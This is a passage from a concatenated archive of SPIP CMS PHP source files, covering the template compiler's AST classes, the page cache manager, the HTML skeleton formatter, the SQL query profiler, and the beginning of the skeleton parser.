*/ public $balise_calculee = false; } /** * Description d'une chaîne de langue **/ class Idiome { /** * Type de noeud * * @var string */ public $type = 'idiome'; /** * Clé de traduction demandée. Exemple 'item_oui' * * @var string */ public $nom_champ = ""; /** * Module de langue où chercher la clé de traduction. Exemple 'medias' * * @var string */ public $module = ""; /** * Arguments à passer à la chaîne * * @var array */ public $arg = array(); /** * Filtres à appliquer au résultat * * @var array */ public $param = array(); /** * Source des filtres (compatibilité) (?) * * @var array|null */ public $fonctions = array(); /** * Inutilisé, propriété générique de l'AST * * @var string|array */ public $avant = ''; /** * Inutilisé, propriété générique de l'AST * * @var string|array */ public $apres = ''; /** * Identifiant de la boucle * * @var string */ public $id_boucle = ''; /** * AST du squelette, liste de toutes les boucles * * @var Boucles[] */ public $boucles; /** * Alias de table d'application de la requête ou nom complet de la table SQL * * @var string|null */ public $type_requete; /** * Résultat de la compilation: toujours une expression PHP * * @var string */ public $code = ''; /** * Interdire les scripts * * @see interdire_scripts() * @var bool */ public $interdire_scripts = false; /** * Description du squelette * * Sert pour la gestion d'erreur et la production de code dependant du contexte * * Peut contenir les index : * - nom : Nom du fichier de cache * - gram : Nom de la grammaire du squelette (détermine le phraseur à utiliser) * - sourcefile : Chemin du squelette * - squelette : Code du squelette * - id_mere : Identifiant de la boucle parente * - documents : Pour embed et img dans les textes * - session : Pour un cache sessionné par auteur * - niv : Niveau de tabulation * * @var array */ public $descr = array(); /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; } /** * Description d'un texte polyglotte (<multi>) * * @package SPIP\Core\Compilateur\AST **/ class Polyglotte { /** * Type de noeud * * @var string */ public $type = 'polyglotte'; /** * Tableau des traductions possibles classées par langue * * Tableau code de langue => texte * * @var array */ public $traductions = array(); /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; } global $table_criteres_infixes; $table_criteres_infixes = array('<', '>', '<=', '>=', '==', '===', '!=', '!==', '<>', '?'); global $exception_des_connect; $exception_des_connect[] = ''; // ne pas transmettre le connect='' par les inclure /** * Déclarer les interfaces de la base pour le compilateur * * On utilise une fonction qui initialise les valeurs, * sans écraser d'eventuelles prédéfinition dans mes_options * et les envoie dans un pipeline * pour les plugins * * @link http://code.spip.net/@declarer_interfaces * * @return void */ function declarer_interfaces() { $GLOBALS['table_des_tables']['articles'] = 'articles'; $GLOBALS['table_des_tables']['auteurs'] = 'auteurs'; $GLOBALS['table_des_tables']['rubriques'] = 'rubriques'; $GLOBALS['table_des_tables']['hierarchie'] = 'rubriques'; // definition des statuts de publication $GLOBALS['table_statut'] = array(); // // tableau des tables de jointures // Ex: gestion du critere {id_mot} dans la boucle(ARTICLES) $GLOBALS['tables_jointures'] = array(); $GLOBALS['tables_jointures']['spip_jobs'][] = 'jobs_liens'; // $GLOBALS['exceptions_des_jointures']['titre_mot'] = array('spip_mots', 'titre'); // pour exemple $GLOBALS['exceptions_des_jointures']['profondeur'] = array('spip_rubriques', 'profondeur'); define('_TRAITEMENT_TYPO', 'typo(%s, "TYPO", $connect, $Pile[0])'); define('_TRAITEMENT_RACCOURCIS', 'propre(%s, $connect, $Pile[0])'); define('_TRAITEMENT_TYPO_SANS_NUMERO', 'supprimer_numero(typo(%s), "TYPO", $connect, $Pile[0])'); $GLOBALS['table_des_traitements']['BIO'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['CHAPO'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['DATE'][] = 'normaliser_date(%s)'; $GLOBALS['table_des_traitements']['DATE_REDAC'][] = 'normaliser_date(%s)'; $GLOBALS['table_des_traitements']['DATE_MODIF'][] = 'normaliser_date(%s)'; $GLOBALS['table_des_traitements']['DATE_NOUVEAUTES'][] = 'normaliser_date(%s)'; $GLOBALS['table_des_traitements']['DESCRIPTIF'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['INTRODUCTION'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['NOM_SITE_SPIP'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['NOM'][] = _TRAITEMENT_TYPO_SANS_NUMERO; $GLOBALS['table_des_traitements']['AUTEUR'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['PS'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['SOURCE'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['SOUSTITRE'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['SURTITRE'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['TAGS'][] = '%s'; $GLOBALS['table_des_traitements']['TEXTE'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['TITRE'][] = _TRAITEMENT_TYPO_SANS_NUMERO; $GLOBALS['table_des_traitements']['TYPE'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['DESCRIPTIF_SITE_SPIP'][] = _TRAITEMENT_RACCOURCIS; $GLOBALS['table_des_traitements']['SLOGAN_SITE_SPIP'][] = _TRAITEMENT_TYPO; $GLOBALS['table_des_traitements']['ENV'][] = 'entites_html(%s,true)'; // valeur par defaut pour les balises non listees ci-dessus $GLOBALS['table_des_traitements']['*'][] = false; // pas de traitement, mais permet au compilo de trouver la declaration suivante // toujours securiser les DATA $GLOBALS['table_des_traitements']['*']['DATA'] = 'safehtml(%s)'; // expliciter pour VALEUR qui est un champ calcule et ne sera pas protege par le catch-all * $GLOBALS['table_des_traitements']['VALEUR']['DATA'] = 'safehtml(%s)'; // gerer l'affectation en 2 temps car si le pipe n'est pas encore declare, on ecrase les globales $interfaces = pipeline('declarer_tables_interfaces', array( 'table_des_tables' => $GLOBALS['table_des_tables'], 'exceptions_des_tables' => $GLOBALS['exceptions_des_tables'], 'table_date' => $GLOBALS['table_date'], 'table_titre' => $GLOBALS['table_titre'], 'tables_jointures' => $GLOBALS['tables_jointures'], 'exceptions_des_jointures' => $GLOBALS['exceptions_des_jointures'], 'table_des_traitements' => $GLOBALS['table_des_traitements'], 'table_statut' => $GLOBALS['table_statut'], )); if ($interfaces) { $GLOBALS['table_des_tables'] = $interfaces['table_des_tables']; $GLOBALS['exceptions_des_tables'] = $interfaces['exceptions_des_tables']; $GLOBALS['table_date'] = $interfaces['table_date']; $GLOBALS['table_titre'] = $interfaces['table_titre']; $GLOBALS['tables_jointures'] = $interfaces['tables_jointures']; $GLOBALS['exceptions_des_jointures'] = $interfaces['exceptions_des_jointures']; $GLOBALS['table_des_traitements'] = $interfaces['table_des_traitements']; $GLOBALS['table_statut'] = $interfaces['table_statut']; } } declarer_interfaces(); cacher.php000066600000032373152442520540006521 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Le format souhaite : tmp/cache/ab/cd * soit au maximum 16^4 fichiers dans 256 repertoires * Attention a modifier simultanement le sanity check de * la fonction retire_cache() de inc/invalideur * * http://code.spip.net/@generer_nom_fichier_cache * * @param array $contexte * @param array $page * @return string */ function generer_nom_fichier_cache($contexte, $page) { $u = md5(var_export(array($contexte, $page), true)); return $u . ".cache"; } /** * ecrire le cache dans un casier * * @param string $nom_cache * @param $valeur * @return bool */ function ecrire_cache($nom_cache, $valeur) { $d = substr($nom_cache, 0, 2); $u = substr($nom_cache, 2, 2); $rep = _DIR_CACHE; $rep = sous_repertoire($rep, '', false, true); $rep = sous_repertoire($rep, $d, false, true); return ecrire_fichier($rep . $u . ".cache", serialize(array("nom_cache" => $nom_cache, "valeur" => $valeur))); } /** * lire le cache depuis un casier * * @param string $nom_cache * @return mixed */ function lire_cache($nom_cache) { $d = substr($nom_cache, 0, 2); $u = substr($nom_cache, 2, 2); if (file_exists($f = _DIR_CACHE . "$d/$u.cache") and lire_fichier($f, $tmp) and $tmp = unserialize($tmp) and $tmp['nom_cache'] == $nom_cache and isset($tmp['valeur']) ) { return $tmp['valeur']; } return false; } // Parano : on signe le cache, afin d'interdire un hack d'injection // dans notre memcache function cache_signature(&$page) { if (!isset($GLOBALS['meta']['cache_signature'])) { include_spip('inc/acces'); include_spip('auth/sha256.inc'); ecrire_meta('cache_signature', _nano_sha256($_SERVER["DOCUMENT_ROOT"] . $_SERVER["SERVER_SIGNATURE"] . creer_uniqid()), 'non'); } return crc32($GLOBALS['meta']['cache_signature'] . $page['texte']); } /** * Faut-il compresser ce cache ? A partir de 16ko ca vaut le coup * (pas de passage par reference car on veut conserver la version non compressee * pour l'afficher) * on positionne un flag gz si on comprime, pour savoir si on doit decompresser ou pas * http://code.spip.net/@gzip_page * * @param array $page * @return array */ function gzip_page($page) { if (function_exists('gzcompress') and strlen($page['texte']) > 16 * 1024) { $page['gz'] = true; $page['texte'] = gzcompress($page['texte']); } else { $page['gz'] = false; } return $page; } /** * Faut-il decompresser ce cache ? * (passage par reference pour alleger) * on met a jour le flag gz quand on decompresse, pour ne pas risquer * de decompresser deux fois de suite un cache (ce qui echoue) * * http://code.spip.net/@gunzip_page * * @param array $page * @return void */ function gunzip_page(&$page) { if ($page['gz']) { $page['texte'] = gzuncompress($page['texte']); $page['gz'] = false; // ne pas gzuncompress deux fois une meme page } } /** * gestion des delais d'expiration du cache... * $page passee par reference pour accelerer * * @param array $page * @param int $date * @return int * 1 si il faut mettre le cache a jour * 0 si le cache est valide * -1 si il faut calculer sans stocker en cache */ /// http://code.spip.net/@cache_valide function cache_valide(&$page, $date) { $now = $_SERVER['REQUEST_TIME']; // Apparition d'un nouvel article post-date ? if (isset($GLOBALS['meta']['post_dates']) and $GLOBALS['meta']['post_dates'] == 'non' and isset($GLOBALS['meta']['date_prochain_postdate']) and $now > $GLOBALS['meta']['date_prochain_postdate'] ) { spip_log('Un article post-date invalide le cache'); include_spip('inc/rubriques'); calculer_prochain_postdate(true); } if (defined('_VAR_NOCACHE') and _VAR_NOCACHE) { return -1; } if (isset($GLOBALS['meta']['cache_inhib']) and $_SERVER['REQUEST_TIME'] < $GLOBALS['meta']['cache_inhib']) { return -1; } if (defined('_NO_CACHE')) { return (_NO_CACHE == 0 and !isset($page['texte'])) ? 1 : _NO_CACHE; } // pas de cache ? on le met a jour, sauf pour les bots (on leur calcule la page sans mise en cache) if (!$page or !isset($page['texte']) or !isset($page['entetes']['X-Spip-Cache'])) { return _IS_BOT ? -1 : 1; } // controle de la signature if ($page['sig'] !== cache_signature($page)) { return _IS_BOT ? -1 : 1; } // #CACHE{n,statique} => on n'invalide pas avec derniere_modif // cf. ecrire/public/balises.php, balise_CACHE_dist() if (!isset($page['entetes']['X-Spip-Statique']) or $page['entetes']['X-Spip-Statique'] !== 'oui') { // Cache invalide par la meta 'derniere_modif' // sauf pour les bots, qui utilisent toujours le cache if (!_IS_BOT and $GLOBALS['derniere_modif_invalide'] and isset($GLOBALS['meta']['derniere_modif']) and $date < $GLOBALS['meta']['derniere_modif'] ) { return 1; } } // Sinon comparer l'age du fichier a sa duree de cache $duree = intval($page['entetes']['X-Spip-Cache']); $cache_mark = (isset($GLOBALS['meta']['cache_mark']) ? $GLOBALS['meta']['cache_mark'] : 0); if ($duree == 0) #CACHE{0} { return -1; } // sauf pour les bots, qui utilisent toujours le cache else { if ((!_IS_BOT and $date + $duree < $now) # le cache est anterieur a la derniere purge : l'ignorer, meme pour les bots or $date < $cache_mark ) { return _IS_BOT ? -1 : 1; } else { return 0; } } } /** * Creer le fichier cache * Passage par reference de $page par souci d'economie * * http://code.spip.net/@creer_cache * * @param array $page * @param string $chemin_cache * @return void */ function creer_cache(&$page, &$chemin_cache) { // Ne rien faire si on est en preview, debug, ou si une erreur // grave s'est presentee (compilation du squelette, MySQL, etc) // le cas var_nocache ne devrait jamais arriver ici (securite) // le cas spip_interdire_cache correspond a une ereur SQL grave non anticipable if ((defined('_VAR_NOCACHE') and _VAR_NOCACHE) or defined('spip_interdire_cache') ) { return; } // Si la page c1234 a un invalideur de session 'zz', sauver dans // 'tmp/cache/MD5(chemin_cache)_zz' if (isset($page['invalideurs']) and isset($page['invalideurs']['session']) ) { // on verifie que le contenu du chemin cache indique seulement // "cache sessionne" ; sa date indique la date de validite // des caches sessionnes if (!$tmp = lire_cache($chemin_cache)) { spip_log('Creation cache sessionne ' . $chemin_cache); $tmp = array( 'invalideurs' => array('session' => ''), 'lastmodified' => $_SERVER['REQUEST_TIME'] ); ecrire_cache($chemin_cache, $tmp); } $chemin_cache = generer_nom_fichier_cache(array("chemin_cache" => $chemin_cache), array("session" => $page['invalideurs']['session'])); } // ajouter la date de production dans le cache lui meme // (qui contient deja sa duree de validite) $page['lastmodified'] = $_SERVER['REQUEST_TIME']; // compresser le contenu si besoin $pagez = gzip_page($page); // signer le contenu $pagez['sig'] = cache_signature($pagez); // l'enregistrer, compresse ou non... $ok = ecrire_cache($chemin_cache, $pagez); spip_log((_IS_BOT ? "Bot:" : "") . "Creation du cache $chemin_cache pour " . $page['entetes']['X-Spip-Cache'] . " secondes" . ($ok ? '' : ' (erreur!)'), _LOG_INFO_IMPORTANTE); // Inserer ses invalideurs include_spip('inc/invalideur'); maj_invalideurs($chemin_cache, $page); } /** * purger un petit cache (tidy ou recherche) qui ne doit pas contenir de * vieux fichiers ; (cette fonction ne sert que dans des plugins obsoletes) * * http://code.spip.net/@nettoyer_petit_cache * * @param string $prefix * @param int $duree * @return void */ function nettoyer_petit_cache($prefix, $duree = 300) { // determiner le repertoire a purger : 'tmp/CACHE/rech/' $dircache = sous_repertoire(_DIR_CACHE, $prefix); if (spip_touch($dircache . 'purger_' . $prefix, $duree, true)) { foreach (preg_files($dircache, '[.]txt$') as $f) { if ($_SERVER['REQUEST_TIME'] - (@file_exists($f) ? @filemtime($f) : 0) > $duree) { spip_unlink($f); } } } } /** * Interface du gestionnaire de cache * Si son 3e argument est non vide, elle passe la main a creer_cache * Sinon, elle recoit un contexte (ou le construit a partir de REQUEST_URI) * et affecte les 4 autres parametres recus par reference: * - use_cache qui vaut * -1 s'il faut calculer la page sans la mettre en cache * 0 si on peut utiliser un cache existant * 1 s'il faut calculer la page et la mettre en cache * - chemin_cache qui est le chemin d'acces au fichier ou vide si pas cachable * - page qui est le tableau decrivant la page, si le cache la contenait * - lastmodified qui vaut la date de derniere modif du fichier. * Elle retourne '' si tout va bien * un message d'erreur si le calcul de la page est totalement impossible * * http://code.spip.net/@public_cacher_dist * * @param array $contexte * @param int $use_cache * @param string $chemin_cache * @param array $page * @param int $lastmodified * @return string|void */ function public_cacher_dist($contexte, &$use_cache, &$chemin_cache, &$page, &$lastmodified) { # fonction de cache minimale : dire "non on ne met rien en cache" # $use_cache = -1; return; // Second appel, destine a l'enregistrement du cache sur le disque if (isset($chemin_cache)) { return creer_cache($page, $chemin_cache); } // Toute la suite correspond au premier appel $contexte_implicite = $page['contexte_implicite']; // Cas ignorant le cache car completement dynamique if ($_SERVER['REQUEST_METHOD'] == 'POST' or _request('connect') ) { $use_cache = -1; $lastmodified = 0; $chemin_cache = ""; $page = array(); return; } // Controler l'existence d'un cache nous correspondant $chemin_cache = generer_nom_fichier_cache($contexte, $page); $lastmodified = 0; // charger le cache s'il existe (et si il a bien le bon hash = anticollision) if (!$page = lire_cache($chemin_cache)) { $page = array(); } // s'il est sessionne, charger celui correspondant a notre session if (isset($page['invalideurs']) and isset($page['invalideurs']['session']) ) { $chemin_cache_session = generer_nom_fichier_cache(array("chemin_cache" => $chemin_cache), array("session" => spip_session())); if ($page_session = lire_cache($chemin_cache_session) and $page_session['lastmodified'] >= $page['lastmodified'] ) { $page = $page_session; } else { $page = array(); } } // Faut-il effacer des pages invalidees (en particulier ce cache-ci) ? if (isset($GLOBALS['meta']['invalider'])) { // ne le faire que si la base est disponible if (spip_connect()) { include_spip('inc/invalideur'); retire_caches($chemin_cache); # API invalideur inutile supprimer_fichier(_DIR_CACHE . $chemin_cache); if (isset($chemin_cache_session) and $chemin_cache_session) { supprimer_fichier(_DIR_CACHE . $chemin_cache_session); } } } // Si un calcul, recalcul [ou preview, mais c'est recalcul] est demande, // on supprime le cache if (defined('_VAR_MODE') && _VAR_MODE && (isset($_COOKIE['spip_session']) || isset($_COOKIE['spip_admin']) || @file_exists(_ACCESS_FILE_NAME)) ) { $page = array('contexte_implicite' => $contexte_implicite); // ignorer le cache deja lu include_spip('inc/invalideur'); retire_caches($chemin_cache); # API invalideur inutile supprimer_fichier(_DIR_CACHE . $chemin_cache); if (isset($chemin_cache_session) and $chemin_cache_session) { supprimer_fichier(_DIR_CACHE . $chemin_cache_session); } } // $delais par defaut // pour toutes les pages sans #CACHE{} hors modeles/ et espace privé // qui sont a cache nul par defaut if (!isset($GLOBALS['delais'])) { if (!defined('_DUREE_CACHE_DEFAUT')) { define('_DUREE_CACHE_DEFAUT', 24 * 3600); } $GLOBALS['delais'] = _DUREE_CACHE_DEFAUT; } // determiner la validite de la page if ($page) { $use_cache = cache_valide($page, isset($page['lastmodified']) ? $page['lastmodified'] : 0); // le contexte implicite n'est pas stocke dans le cache, mais il y a equivalence // par le nom du cache. On le reinjecte donc ici pour utilisation eventuelle au calcul $page['contexte_implicite'] = $contexte_implicite; if (!$use_cache) { // $page est un cache utilisable gunzip_page($page); return; } } else { $page = array('contexte_implicite' => $contexte_implicite); $use_cache = cache_valide($page, 0); // fichier cache absent : provoque le calcul } // Si pas valide mais pas de connexion a la base, le garder quand meme if (!spip_connect()) { if (isset($page['texte'])) { gunzip_page($page); $use_cache = 0; } else { spip_log("Erreur base de donnees, impossible utiliser $chemin_cache"); include_spip('inc/minipres'); return minipres(_T('info_travaux_titre'), _T('titre_probleme_technique'), array('status' => 503)); } } if ($use_cache < 0) { $chemin_cache = ''; } return; } format_html.php000066600000007475152442520540007615 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function format_boucle_html($avant, $nom, $type, $crit, $corps, $apres, $altern, $prof) { $avant = $avant ? "<B$nom>$avant" : ""; $apres = $apres ? "$apres</B$nom>" : ""; $altern = $altern ? "$altern<//B$nom>" : ""; if (!$corps) { $corps = " />"; } else { $corps = ">$corps</BOUCLE$nom>"; } return "$avant<BOUCLE$nom($type)$crit$corps$apres$altern"; } function format_inclure_html($file, $args, $prof) { if (strpos($file, '#') === false) { $t = $file ? ("(" . $file . ")") : ""; } else { $t = "{fond=" . $file . '}'; } $args = !$args ? '' : ("{" . join(", ", $args) . "}"); return ("<INCLURE" . $t . $args . ">"); } function format_polyglotte_html($args, $prof) { $contenu = array(); foreach ($args as $l => $t) { $contenu[] = ($l ? "[$l]" : '') . $t; } return ("<multi>" . join(" ", $contenu) . "</multi>"); } function format_idiome_html($nom, $module, $args, $filtres, $prof) { foreach ($args as $k => $v) { $args[$k] = "$k=$v"; } $args = (!$args ? '' : ('{' . join(',', $args) . '}')); return ("<:" . ($module ? "$module:" : "") . $nom . $args . $filtres . ":>"); } function format_champ_html($nom, $boucle, $etoile, $avant, $apres, $args, $filtres, $prof) { $nom = "#" . ($boucle ? ($boucle . ":") : "") . $nom . $etoile . $args . $filtres; // Determiner si c'est un champ etendu, $s = ($avant or $apres or $filtres or (strpos($args, '(#') !== false)); return ($s ? "[$avant($nom)$apres]" : $nom); } function format_critere_html($critere) { foreach ($critere as $k => $crit) { $crit_s = ''; foreach ($crit as $operande) { list($type, $valeur) = $operande; if ($type == 'champ' and $valeur[0] == '[') { $valeur = substr($valeur, 1, -1); if (preg_match(',^[(](#[^|]*)[)]$,sS', $valeur)) { $valeur = substr($valeur, 1, -1); } } $crit_s .= $valeur; } $critere[$k] = $crit_s; } return (!$critere ? "" : ("{" . join(",", $critere) . "}")); } function format_liste_html($fonc, $args, $prof) { return ((($fonc !== '') ? "|$fonc" : $fonc) . (!$args ? "" : ("{" . join(",", $args) . "}"))); } // Concatenation sans separateur: verifier qu'on ne cree pas de faux lexemes function format_suite_html($args) { for ($i = 0; $i < count($args) - 1; $i++) { list($texte, $type) = $args[$i]; list($texte2, $type2) = $args[$i + 1]; if (!$texte or !$texte2) { continue; } $c1 = substr($texte, -1); if ($type2 !== 'texte') { // si un texte se termine par ( et est suivi d'un champ // ou assimiles, forcer la notation pleine if ($c1 == '(' and substr($texte2, 0, 1) == '#') { $args[$i + 1][0] = '[(' . $texte2 . ')]'; } } else { if ($type == 'texte') { continue; } // si un champ ou assimiles est suivi d'un texte // et si celui-ci commence par un caractere de champ // forcer la notation pleine if (($c1 == '}' and substr(ltrim($texte2), 0, 1) == '|') or (preg_match('/[\w\d_*]/', $c1) and preg_match('/^[\w\d_*{|]/', $texte2)) ) { $args[$i][0] = '[(' . $texte . ')]'; } } } return join("", array_map('array_shift', $args)); } function format_texte_html($texte) { return $texte; } tracer.php000066600000011276152442520540006553 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } // http://code.spip.net/@trace_query_start function trace_query_start() { static $trace = '?'; if ($trace === '?') { include_spip('inc/autoriser'); // gare au bouclage sur calcul de droits au premier appel // A fortiori quand on demande une trace $trace = isset($_GET['var_profile']) and (autoriser('debug')); } return $trace ? microtime() : 0; } // http://code.spip.net/@trace_query_end function trace_query_end($query, $start, $result, $erreur, $serveur = '') { if ($start) { trace_query_chrono($start, microtime(), $query, $result, $serveur); } // tracer les erreurs, sauf pour select, c'est fait dans abstract_sql if ($erreur and !preg_match('/^select\b/i', $query)) { erreur_squelette(array(sql_errno($serveur), $erreur, $query)); } return $result; } // http://code.spip.net/@trace_query_chrono function trace_query_chrono($m1, $m2, $query, $result, $serveur = '') { include_spip('inc/filtres_mini'); static $tt = 0, $nb = 0; $x = _request('var_mode_objet'); if (isset($GLOBALS['debug']['aucasou'])) { list(, $boucle, $serveur, $contexte) = $GLOBALS['debug']['aucasou']; if ($x and !preg_match("/$boucle\$/", $x)) { return; } if ($serveur) { $boucle .= " ($serveur)"; } $boucle = "<b>$boucle</b>"; } else { if ($x) { return; } $boucle = $contexte = ''; } list($usec, $sec) = explode(" ", $m1); list($usec2, $sec2) = explode(" ", $m2); $dt = $sec2 + $usec2 - $sec - $usec; $tt += $dt; $nb++; $q = preg_replace('/([a-z)`])\s+([A-Z])/', "$1\n<br />$2", spip_htmlentities($query)); $e = sql_explain($query, $serveur); $r = str_replace('Resource id ', '', (is_object($result) ? get_class($result) : $result)); $GLOBALS['tableau_des_temps'][] = array($dt, $nb, $boucle, $q, $e, $r, $contexte); } function chrono_requete($temps) { $total = 0; $hors = "<i>" . _T('zbug_hors_compilation') . "</i>"; $t = $q = $n = $d = array(); // Totaliser les temps et completer le Explain foreach ($temps as $key => $v) { list($dt, $nb, $boucle, $query, $explain, $res, $contexte) = $v; if (is_array($contexte)) { $k = ($contexte[0] . " $boucle"); include_spip('public/compiler'); $env = reconstruire_contexte_compil($contexte); } else { $k = $env = $boucle; } $total += $dt; $t[$key] = $dt; $q[$key] = $nb; if (!isset($d[$k])) { $d[$k] = 0; $n[$k] = 0; } $d[$k] += $dt; ++$n[$k]; if (!is_array($explain)) { $explain = array(); } foreach ($explain as $j => $v) { $explain[$j] = "<tr><th>$j</th><td>" . str_replace(';', '<br />', $v) . "</td></tr>"; } $e = "<table class='explain'>" . "<caption>" . $query . "</caption>" . "<tr><th>Time</th><td>$dt</td></tr>" . "<tr><th>Order</th><td>$nb</td></tr>" . "<tr><th>Res</th><td>$res</td></tr>" . join('', $explain) . "</table>"; $temps[$key] = array($e, $env, $k); } // Trier par temps d'execution decroissant array_multisort($t, SORT_DESC, $q, $temps); arsort($d); $i = 1; $t = array(); // Fabriquer les liens de navigations dans le tableau des temps foreach ($temps as $k => $v) { $titre = strip_tags($v[2]); $href = quote_amp($GLOBALS['REQUEST_URI']) . "#req$i"; if (!isset($t[$v[2]])) { $t[$v[2]] = array(); } $t[$v[2]][] = "<span class='spip-debug-arg'> " . "<a title='$titre' href='$href'>$i</a>" . '</span>' . ((count($t[$v[2]]) % 10 == 9) ? "<br />" : ''); $i++; } if ($d['']) { $d[$hors] = $d['']; $n[$hors] = $n['']; $t[$hors] = $t['']; } unset($d['']); // Fabriquer le tableau des liens de navigation dans le grand tableau foreach ($d as $k => $v) { $d[$k] = $n[$k] . "</td><td>$k</td><td class='time'>$v</td><td class='liste-reqs'>" . join('', $t[$k]); } $navigation = array( _T('zbug_statistiques'), "<tr><td>" . join("</td></tr>\n<tr><td>", $d) . "</td></tr>\n" . (# _request('var_mode_objet') ? '' : ("<tr><td>" . count($temps) . "</td><td>" . _T('info_total') . '</td><td class="time">' . $total . "</td><td></td></tr>")) ); return array($temps, $navigation); } phraser_html.php000066600000070554152442520540007767 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Phraseur d'un squelette ayant une syntaxe SPIP/HTML * * Ce fichier transforme un squelette en un tableau d'objets de classe Boucle * il est chargé par un include calculé pour permettre différentes syntaxes en entrée * * @package SPIP\Core\Compilateur\Phraseur **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** Début de la partie principale d'une boucle */ define('BALISE_BOUCLE', '<BOUCLE'); /** Fin de la partie principale d'une boucle */ define('BALISE_FIN_BOUCLE', '</BOUCLE'); /** Début de la partie optionnelle avant d'une boucle */ define('BALISE_PRE_BOUCLE', '<B'); /** Fin de la partie optionnelle après d'une boucle */ define('BALISE_POST_BOUCLE', '</B'); /** Fin de la partie alternative après d'une boucle */ define('BALISE_ALT_BOUCLE', '<//B'); /** Indique un début de boucle récursive */ define('TYPE_RECURSIF', 'boucle'); /** Expression pour trouver le type de boucle (TABLE autre_table ?) */ define('SPEC_BOUCLE', '/\s*\(\s*([^\s?)]+)(\s*[^)?]*)([?]?)\)/'); /** Expression pour trouver un identifiant de boucle */ define('NOM_DE_BOUCLE', "[0-9]+|[-_][-_.a-zA-Z0-9]*"); /** * Nom d'une balise #TOTO * * Écriture alambiquée pour rester compatible avec les hexadecimaux des vieux squelettes */ define('NOM_DE_CHAMP', "#((" . NOM_DE_BOUCLE . "):)?(([A-F]*[G-Z_][A-Z_0-9]*)|[A-Z_]+)\b(\*{0,2})"); /** Balise complète [...(#TOTO) ... ] */ define('CHAMP_ETENDU', '/\[([^]\[]*)\(' . NOM_DE_CHAMP . '([^[)]*\)[^]\[]*)\]/S'); define('BALISE_INCLURE', '/<INCLU[DR]E[[:space:]]*(\(([^)]*)\))?/S'); define('BALISE_POLYGLOTTE', ',<multi>(.*)</multi>,Uims'); define('BALISE_IDIOMES', ',<:(([a-z0-9_]+):)?([a-z0-9_]*)({([^\|=>]*=[^\|>]*)})?((\|[^>]*)?:/?>),iS'); define('BALISE_IDIOMES_ARGS', '@^\s*([^= ]*)\s*=\s*((' . NOM_DE_CHAMP . '[{][^}]*})?[^,]*)\s*,?\s*@s'); /** Champ sql dans parenthèse ex: (id_article) */ define('SQL_ARGS', '(\([^)]*\))'); /** Fonction SQL sur un champ ex: SUM(visites) */ define('CHAMP_SQL_PLUS_FONC', '`?([A-Z_\/][A-Z_\/0-9.]*)' . SQL_ARGS . '?`?'); // http://code.spip.net/@phraser_inclure function phraser_inclure($texte, $ligne, $result) { while (preg_match(BALISE_INCLURE, $texte, $match)) { $match = array_pad($match, 3, null); $p = strpos($texte, $match[0]); $debut = substr($texte, 0, $p); if ($p) { $result = phraser_idiomes($debut, $ligne, $result); } $ligne += substr_count($debut, "\n"); $champ = new Inclure; $champ->ligne = $ligne; $ligne += substr_count($match[0], "\n"); $fichier = $match[2]; # assurer ici la migration .php3 => .php # et de l'ancienne syntaxe INCLURE(page.php3) devenue surperflue if ($fichier and preg_match(',^(.*[.]php)3$,', $fichier, $r)) { $fichier = $r[1]; } $champ->texte = ($fichier !== 'page.php') ? $fichier : ''; $texte = substr($texte, $p + strlen($match[0])); // on assimile {var=val} a une liste de un argument sans fonction phraser_args($texte, "/>", "", $result, $champ); if (!$champ->texte or count($champ->param) > 1) { if (!function_exists('normaliser_inclure')) { include_spip('public/normaliser'); } normaliser_inclure($champ); } $texte = substr($champ->apres, strpos($champ->apres, '>') + 1); $champ->apres = ""; $texte = preg_replace(',^</INCLU[DR]E>,', '', $texte); $result[] = $champ; } return (($texte === "") ? $result : phraser_idiomes($texte, $ligne, $result)); } // http://code.spip.net/@phraser_polyglotte function phraser_polyglotte($texte, $ligne, $result) { if (preg_match_all(BALISE_POLYGLOTTE, $texte, $m, PREG_SET_ORDER)) { foreach ($m as $match) { $p = strpos($texte, $match[0]); $debut = substr($texte, 0, $p); if ($p) { $champ = new Texte; $champ->texte = $debut; $champ->ligne = $ligne; $result[] = $champ; $ligne += substr_count($champ->texte, "\n"); } $champ = new Polyglotte; 